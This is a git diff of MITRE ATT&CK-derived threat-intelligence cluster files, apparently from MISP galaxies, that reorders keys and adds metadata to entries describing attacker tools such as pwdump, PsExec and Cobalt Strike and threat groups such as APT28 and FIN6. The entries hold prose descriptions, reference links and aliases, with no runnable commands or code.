"description": "FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)\n\nAliases: FTP, ftp.exe",
- "value": "FTP - S0095",
"meta": {
+ "external_id": "S0095",
"refs": [
"https://attack.mitre.org/wiki/Software/S0095",
"https://en.wikipedia.org/wiki/File%20Transfer%20Protocol"
],
- "external_id": "S0095",
"synonyms": [
"FTP",
"ftp.exe"
]
},
- "uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565"
+ "uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565",
+ "value": "FTP - S0095"
},
{
"description": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)\n\nAliases: ipconfig, ipconfig.exe",
- "value": "ipconfig - S0100",
"meta": {
+ "external_id": "S0100",
"refs": [
"https://attack.mitre.org/wiki/Software/S0100",
"https://technet.microsoft.com/en-us/library/bb490921.aspx"
],
- "external_id": "S0100",
"synonyms": [
"ipconfig",
"ipconfig.exe"
]
},
- "uuid": "294e2560-bd48-44b2-9da2-833b5588ad11"
+ "uuid": "294e2560-bd48-44b2-9da2-833b5588ad11",
+ "value": "ipconfig - S0100"
},
{
"description": "nbtstat is a utility used to troubleshoot NetBIOS name resolution. (Citation: TechNet Nbtstat)\n\nAliases: nbtstat, nbtstat.exe",
- "value": "nbtstat - S0102",
"meta": {
+ "external_id": "S0102",
"refs": [
"https://attack.mitre.org/wiki/Software/S0102",
"https://technet.microsoft.com/en-us/library/cc940106.aspx"
],
- "external_id": "S0102",
"synonyms": [
"nbtstat",
"nbtstat.exe"
]
},
- "uuid": "b35068ec-107a-4266-bda8-eb7036267aea"
+ "uuid": "b35068ec-107a-4266-bda8-eb7036267aea",
+ "value": "nbtstat - S0102"
},
{
"description": "HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. (Citation: Operation Quantum Entanglement)\n\nAliases: HTRAN, HUC Packet Transmit Tool",
- "value": "HTRAN - S0040",
"meta": {
+ "external_id": "S0040",
"refs": [
"https://attack.mitre.org/wiki/Software/S0040",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf"
],
- "external_id": "S0040",
"synonyms": [
"HTRAN",
"HUC Packet Transmit Tool"
]
},
- "uuid": "d5e96a35-7b0b-4c6a-9533-d63ecbda563e"
+ "uuid": "d5e96a35-7b0b-4c6a-9533-d63ecbda563e",
+ "value": "HTRAN - S0040"
},
{
"description": "Tor is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. Tor utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)\n\nAliases: Tor",
- "value": "Tor - S0183",
"meta": {
+ "external_id": "S0183",
"refs": [
"https://attack.mitre.org/wiki/Software/S0183",
"http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"
],
- "external_id": "S0183",
"synonyms": [
"Tor"
]
},
- "uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68"
+ "uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+ "value": "Tor - S0183"
},
{
"description": "netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics. (Citation: TechNet Netstat)\n\nAliases: netstat, netstat.exe",
- "value": "netstat - S0104",
"meta": {
+ "external_id": "S0104",
"refs": [
"https://attack.mitre.org/wiki/Software/S0104",
"https://technet.microsoft.com/en-us/library/bb490947.aspx"
],
- "external_id": "S0104",
"synonyms": [
"netstat",
"netstat.exe"
]
},
- "uuid": "4664b683-f578-434f-919b-1c1aad2a1111"
+ "uuid": "4664b683-f578-434f-919b-1c1aad2a1111",
+ "value": "netstat - S0104"
},
{
"description": "pwdump is a credential dumper. (Citation: Wikipedia pwdump)\n\nAliases: pwdump",
- "value": "pwdump - S0006",
"meta": {
+ "external_id": "S0006",
"refs": [
"https://attack.mitre.org/wiki/Software/S0006",
"https://en.wikipedia.org/wiki/Pwdump"
],
- "external_id": "S0006",
"synonyms": [
"pwdump"
]
},
- "uuid": "9de2308e-7bed-43a3-8e58-f194b3586700"
+ "uuid": "9de2308e-7bed-43a3-8e58-f194b3586700",
+ "value": "pwdump - S0006"
},
{
"description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry. (Citation: Mandiant APT1)\n\nAliases: Cachedump",
- "value": "Cachedump - S0119",
"meta": {
+ "external_id": "S0119",
"refs": [
"https://attack.mitre.org/wiki/Software/S0119",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
- "external_id": "S0119",
"synonyms": [
"Cachedump"
]
},
- "uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52"
+ "uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52",
+ "value": "Cachedump - S0119"
},
{
"description": "Forfiles is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)\n\nAliases: Forfiles\n\nContributors: Matthew Demaske, Adaptforward",
- "value": "Forfiles - S0193",
"meta": {
+ "external_id": "S0193",
"refs": [
"https://attack.mitre.org/wiki/Software/S0193",
"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)"
],
- "external_id": "S0193",
"synonyms": [
"Forfiles"
]
},
- "uuid": "90ec2b22-7061-4469-b539-0989ec4f96c2"
+ "uuid": "90ec2b22-7061-4469-b539-0989ec4f96c2",
+ "value": "Forfiles - S0193"
},
{
"description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\nNet has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through Windows admin shares using net use commands, and interacting with services.\n\nAliases: Net, net.exe",
- "value": "Net - S0039",
"meta": {
+ "external_id": "S0039",
"refs": [
"https://attack.mitre.org/wiki/Software/S0039",
"https://msdn.microsoft.com/en-us/library/aa939914",
"http://windowsitpro.com/windows/netexe-reference"
],
- "external_id": "S0039",
"synonyms": [
"Net",
"net.exe"
]
},
- "uuid": "03342581-f790-4f03-ba41-e82e67392e23"
+ "uuid": "03342581-f790-4f03-ba41-e82e67392e23",
+ "value": "Net - S0039"
},
{
"description": "PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers. (Citation: Russinovich Sysinternals) (Citation: SANS PsExec)\n\nAliases: PsExec",
- "value": "PsExec - S0029",
"meta": {
+ "external_id": "S0029",
"refs": [
"https://attack.mitre.org/wiki/Software/S0029",
"https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx",
"https://digital-forensics.sans.org/blog/2012/12/17/protecting-privileged-domain-accounts-psexec-deep-dive"
],
- "external_id": "S0029",
"synonyms": [
"PsExec"
]
},
- "uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db"
+ "uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
+ "value": "PsExec - S0029"
},
{
"description": "Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)\n\nAliases: certutil, certutil.exe",
- "value": "certutil - S0160",
"meta": {
+ "external_id": "S0160",
"refs": [
"https://attack.mitre.org/wiki/Software/S0160",
"https://technet.microsoft.com/library/cc732443.aspx"
],
- "external_id": "S0160",
"synonyms": [
"certutil",
"certutil.exe"
]
},
- "uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc"
+ "uuid": "0a68f1f1-da74-4d28-8d9a-696c082706cc",
+ "value": "certutil - S0160"
},
{
"description": "Arp displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)\n\nAliases: Arp, arp.exe",
- "value": "Arp - S0099",
"meta": {
+ "external_id": "S0099",
"refs": [
"https://attack.mitre.org/wiki/Software/S0099",
"https://technet.microsoft.com/en-us/library/bb490864.aspx"
],
- "external_id": "S0099",
"synonyms": [
"Arp",
"arp.exe"
]
},
- "uuid": "30489451-5886-4c46-90c9-0dff9adc5252"
+ "uuid": "30489451-5886-4c46-90c9-0dff9adc5252",
+ "value": "Arp - S0099"
},
{
"description": "cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)\n\nCmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., dir (Citation: TechNet Dir)), deleting files (e.g., del (Citation: TechNet Del)), and copying files (e.g., copy (Citation: TechNet Copy)).\n\nAliases: cmd, cmd.exe",
- "value": "cmd - S0106",
"meta": {
+ "external_id": "S0106",
"refs": [
"https://attack.mitre.org/wiki/Software/S0106",
"https://technet.microsoft.com/en-us/library/bb490880.aspx",
@@ -565,151 +564,152 @@
"https://technet.microsoft.com/en-us/library/cc771049.aspx",
"https://technet.microsoft.com/en-us/library/bb490886.aspx"
],
- "external_id": "S0106",
"synonyms": [
"cmd",
"cmd.exe"
]
},
- "uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e"
+ "uuid": "bba595da-b73a-4354-aa6c-224d4de7cb4e",
+ "value": "cmd - S0106"
},
{
"description": "Havij is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)\n\nAliases: Havij",
- "value": "Havij - S0224",
"meta": {
+ "external_id": "S0224",
"refs": [
"https://attack.mitre.org/wiki/Software/S0224",
"https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/"
],
- "external_id": "S0224",
"synonyms": [
"Havij"
]
},
- "uuid": "fbd727ea-c0dc-42a9-8448-9e12962d1ab5"
+ "uuid": "fbd727ea-c0dc-42a9-8448-9e12962d1ab5",
+ "value": "Havij - S0224"
},
{
"description": "PowerSploit is an open source, offensive security framework compromised of PowerShell modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)\n\nAliases: PowerSploit",
- "value": "PowerSploit - S0194",
"meta": {
+ "external_id": "S0194",
"refs": [
"https://attack.mitre.org/wiki/Software/S0194",
"https://github.com/PowerShellMafia/PowerSploit",
"http://www.powershellmagazine.com/2014/07/08/powersploit/",
"http://powersploit.readthedocs.io"
],
- "external_id": "S0194",
"synonyms": [
"PowerSploit"
]
},
- "uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d"
+ "uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d",
+ "value": "PowerSploit - S0194"
},
{
"description": "meek is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.\n\nAliases: meek",
- "value": "meek - S0175",
"meta": {
+ "external_id": "S0175",
"refs": [
"https://attack.mitre.org/wiki/Software/S0175"
],
- "external_id": "S0175",
"synonyms": [
"meek"
]
},
- "uuid": "65370d0b-3bd4-4653-8cf9-daf56f6be830"
+ "uuid": "65370d0b-3bd4-4653-8cf9-daf56f6be830",
+ "value": "meek - S0175"
},
{
"description": "Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)\n\nUtilities such as Reg are known to be used by persistent threats. (Citation: Windows Commands JPCERT)\n\nAliases: Reg, reg.exe",
- "value": "Reg - S0075",
"meta": {
+ "external_id": "S0075",
"refs": [
"https://attack.mitre.org/wiki/Software/S0075",
"https://technet.microsoft.com/en-us/library/cc732643.aspx",
"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
],
- "external_id": "S0075",
"synonyms": [
"Reg",
"reg.exe"
]
},
- "uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f"
+ "uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f",
+ "value": "Reg - S0075"
},
{
"description": "spwebmember is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)\n\nAliases: spwebmember",
- "value": "spwebmember - S0227",
"meta": {
+ "external_id": "S0227",
"refs": [
"https://attack.mitre.org/wiki/Software/S0227",
"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
],
- "external_id": "S0227",
"synonyms": [
"spwebmember"
]
},
- "uuid": "33b9e38f-103c-412d-bdcf-904a91fff1e4"
+ "uuid": "33b9e38f-103c-412d-bdcf-904a91fff1e4",
+ "value": "spwebmember - S0227"
},
{
"description": "Pupy is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) Pupy is publicly available on GitHub. (Citation: GitHub Pupy)\n\nAliases: Pupy",
- "value": "Pupy - S0192",
"meta": {
+ "external_id": "S0192",
"refs": [
"https://attack.mitre.org/wiki/Software/S0192",
"https://github.com/n1nj4sec/pupy"
],
- "external_id": "S0192",
"synonyms": [
"Pupy"
]
},
- "uuid": "cb69b20d-56d0-41ab-8440-4a4b251614d4"
+ "uuid": "cb69b20d-56d0-41ab-8440-4a4b251614d4",
+ "value": "Pupy - S0192"
},
{
"description": "sqlmap is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)\n\nAliases: sqlmap",
- "value": "sqlmap - S0225",
"meta": {
+ "external_id": "S0225",
"refs": [
"https://attack.mitre.org/wiki/Software/S0225",
"http://sqlmap.org/"
],
- "external_id": "S0225",
"synonyms": [
"sqlmap"
]
},
- "uuid": "9a2640c2-9f43-46fe-b13f-bde881e55555"
+ "uuid": "9a2640c2-9f43-46fe-b13f-bde881e55555",
+ "value": "sqlmap - S0225"
},
{
"description": "Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz. (Citation: cobaltstrike manual)\n\nAliases: Cobalt Strike\n\nContributors: Josh Abraham",
- "value": "Cobalt Strike - S0154",
"meta": {
+ "external_id": "S0154",
"refs": [
"https://attack.mitre.org/wiki/Software/S0154",
"https://cobaltstrike.com/downloads/csmanual38.pdf"
],
- "external_id": "S0154",
"synonyms": [
"Cobalt Strike"
]
},
- "uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39"
+ "uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+ "value": "Cobalt Strike - S0154"
},
{
"description": "Invoke-PSImage takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file of from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)\n\nAliases: Invoke-PSImage\n\nContributors: Christiaan Beek, @ChristiaanBeek",
- "value": "Invoke-PSImage - S0231",
"meta": {
+ "external_id": "S0231",
"refs": [
"https://attack.mitre.org/wiki/Software/S0231",
"https://github.com/peewpw/Invoke-PSImage"
],
- "external_id": "S0231",
"synonyms": [
"Invoke-PSImage"
]
},
- "uuid": "b52d6583-14a2-4ddc-8527-87fd2142558f"
+ "uuid": "b52d6583-14a2-4ddc-8527-87fd2142558f",
+ "value": "Invoke-PSImage - S0231"
}
- ]
+ ],
+ "version": 4
}
diff --git a/clusters/mitre-intrusion-set.json b/clusters/mitre-intrusion-set.json
index 7ae9df4..fc64bf1 100644
--- a/clusters/mitre-intrusion-set.json
+++ b/clusters/mitre-intrusion-set.json
@@ -1,96 +1,108 @@
{
- "uuid": "10df003c-7831-11e7-bdb9-971cdd1218df",
+ "authors": [
+ "MITRE"
+ ],
"description": "Name of ATT&CK Group",
+ "name": "intrusion Set",
"source": "https://github.com/mitre/cti",
- "version": 6,
+ "type": "mitre-intrusion-set",
+ "uuid": "10df003c-7831-11e7-bdb9-971cdd1218df",
"values": [
{
+ "description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.[[Citation: Kaspersky Poseidon Group]]",
"meta": {
- "synonyms": [
- "Poseidon Group"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0033",
"https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
],
+ "synonyms": [
+ "Poseidon Group"
+ ],
"uuid": "7ecc3b4f-5cdb-457e-b55a-df376b359446"
},
- "description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.[[Citation: Kaspersky Poseidon Group]]",
"value": "Poseidon Group"
},
{
+ "description": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack.[[Citation: Citizen Lab Group5]]",
"meta": {
- "synonyms": [
- "Group5"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0043",
"https://citizenlab.org/2016/08/group5-syria/"
],
+ "synonyms": [
+ "Group5"
+ ],
"uuid": "7331c66a-5601-4d3f-acf6-ad9e3035eb40"
},
- "description": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack.[[Citation: Citizen Lab Group5]]",
"value": "Group5"
},
{
+ "description": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.[[Citation: Bizeul 2014]][[Citation: Villeneuve 2014]]",
"meta": {
- "synonyms": [
- "PittyTiger"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0011",
"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html",
"http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2"
],
+ "synonyms": [
+ "PittyTiger"
+ ],
"uuid": "fe98767f-9df8-42b9-83c9-004b1dec8647"
},
- "description": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.[[Citation: Bizeul 2014]][[Citation: Villeneuve 2014]]",
"value": "PittyTiger"
},
{
+ "description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors.[[Citation: FireEye admin@338]]",
"meta": {
- "synonyms": [
- "admin@338"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0018",
"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
],
+ "synonyms": [
+ "admin@338"
+ ],
"uuid": "16ade1aa-0ea1-4bb7-88cc-9079df2ae756"
},
- "description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors.[[Citation: FireEye admin@338]]",
"value": "admin@338"
},
{
+ "description": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM).[[Citation: ESET RTM Feb 2017]]",
"meta": {
- "synonyms": [
- "RTM"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0048",
"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"
],
+ "synonyms": [
+ "RTM"
+ ],
"uuid": "c416b28c-103b-4df1-909e-78089a7e0e5f"
},
- "description": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM).[[Citation: ESET RTM Feb 2017]]",
"value": "RTM"
},
{
+ "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations.[[Citation: FireEye EPS Awakens Part 2]]",
"meta": {
- "synonyms": [
- "APT16"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0023",
"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
],
+ "synonyms": [
+ "APT16"
+ ],
"uuid": "d6e88e18-81e8-4709-82d8-973095da1e70"
},
- "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations.[[Citation: FireEye EPS Awakens Part 2]]",
"value": "APT16"
},
{
+ "description": "APT28 is a threat group that has been attributed to the Russian government.[[Citation: FireEye APT28]][[Citation: SecureWorks TG-4127]][[Citation: FireEye APT28 January 2017]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee in April 2016.[[Citation: Crowdstrike DNC June 2016]]",
"meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0007",
+ "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign",
+ "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf",
+ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
+ "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
+ ],
"synonyms": [
"APT28",
"Sednit",
@@ -102,37 +114,37 @@
"Threat Group-4127",
"TG-4127"
],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0007",
- "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign",
- "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf",
- "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
- "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
- ],
"uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c"
},
- "description": "APT28 is a threat group that has been attributed to the Russian government.[[Citation: FireEye APT28]][[Citation: SecureWorks TG-4127]][[Citation: FireEye APT28 January 2017]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee in April 2016.[[Citation: Crowdstrike DNC June 2016]]",
"value": "APT28"
},
{
+ "description": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]",
"meta": {
- "synonyms": [
- "Winnti Group",
- "Blackfly"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0044",
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf",
"https://securelist.com/blog/incidents/70991/games-are-over/",
"http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf"
],
+ "synonyms": [
+ "Winnti Group",
+ "Blackfly"
+ ],
"uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff"
},
- "description": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]",
"value": "Winnti Group"
},
{
+ "description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications.Deep Panda.Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion.[[Citation: Symantec Black Vine]]",
"meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0009",
+ "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf",
+ "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/",
+ "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
+ ],
"synonyms": [
"Deep Panda",
"Shell Crew",
@@ -141,332 +153,332 @@
"PinkPanther",
"Black Vine"
],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0009",
- "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
- "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf",
- "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/",
- "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
- ],
"uuid": "a653431d-6a5e-4600-8ad3-609b5af57064"
},
- "description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications.Deep Panda.Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion.[[Citation: Symantec Black Vine]]",
"value": "Deep Panda"
},
{
+ "description": "Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.[[Citation: DustySky]][[Citation: DustySky2]]",
"meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0021",
+ "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf"
+ ],
"synonyms": [
"Molerats",
"Gaza cybergang",
"Operation Molerats"
],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0021",
- "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2%20-6.2016%20TLP%20White.pdf"
- ],
"uuid": "df71bb3b-813c-45eb-a8bc-f2a419837411"
},
- "description": "Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.[[Citation: DustySky]][[Citation: DustySky2]]",
"value": "Molerats"
},
{
+ "description": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.[[Citation: Symantec Strider Blog]][[Citation: Kaspersky ProjectSauron Blog]]",
"meta": {
- "synonyms": [
- "Strider",
- "ProjectSauron"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0041",
"https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/",
"http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
],
+ "synonyms": [
+ "Strider",
+ "ProjectSauron"
+ ],
"uuid": "277d2f87-2ae5-4730-a3aa-50c1fdff9656"
},
- "description": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.[[Citation: Symantec Strider Blog]][[Citation: Kaspersky ProjectSauron Blog]]",
"value": "Strider"
},
{
+ "description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia.[[Citation: iSIGHT Sandworm 2014]] This group is also known as Quedagh.[[Citation: F-Secure BlackEnergy 2014]]",
"meta": {
- "synonyms": [
- "Sandworm Team",
- "Quedagh"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0034",
"http://www.isightpartners.com/2014/10/cve-2014-4114/",
"https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf"
],
+ "synonyms": [
+ "Sandworm Team",
+ "Quedagh"
+ ],
"uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192"
},
- "description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia.[[Citation: iSIGHT Sandworm 2014]] This group is also known as Quedagh.[[Citation: F-Secure BlackEnergy 2014]]",
"value": "Sandworm Team"
},
{
+ "description": "FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.[[Citation: FireEye FIN6 April 2016]]",
"meta": {
- "synonyms": [
- "FIN6"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0037",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf"
],
+ "synonyms": [
+ "FIN6"
+ ],
"uuid": "2a7914cf-dff3-428d-ab0f-1014d1c28aeb"
},
- "description": "FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.[[Citation: FireEye FIN6 April 2016]]",
"value": "FIN6"
},
{
+ "description": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries.[[Citation: Cylance Dust Storm]]",
"meta": {
- "synonyms": [
- "Dust Storm"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0031",
"https://www.cylance.com/hubfs/2015%20cylance%20website/assets/operation-dust-storm/Op%20Dust%20Storm%20Report.pdf?t=1456259131512"
],
+ "synonyms": [
+ "Dust Storm"
+ ],
"uuid": "ae41895a-243f-4a65-b99b-d85022326c31"
},
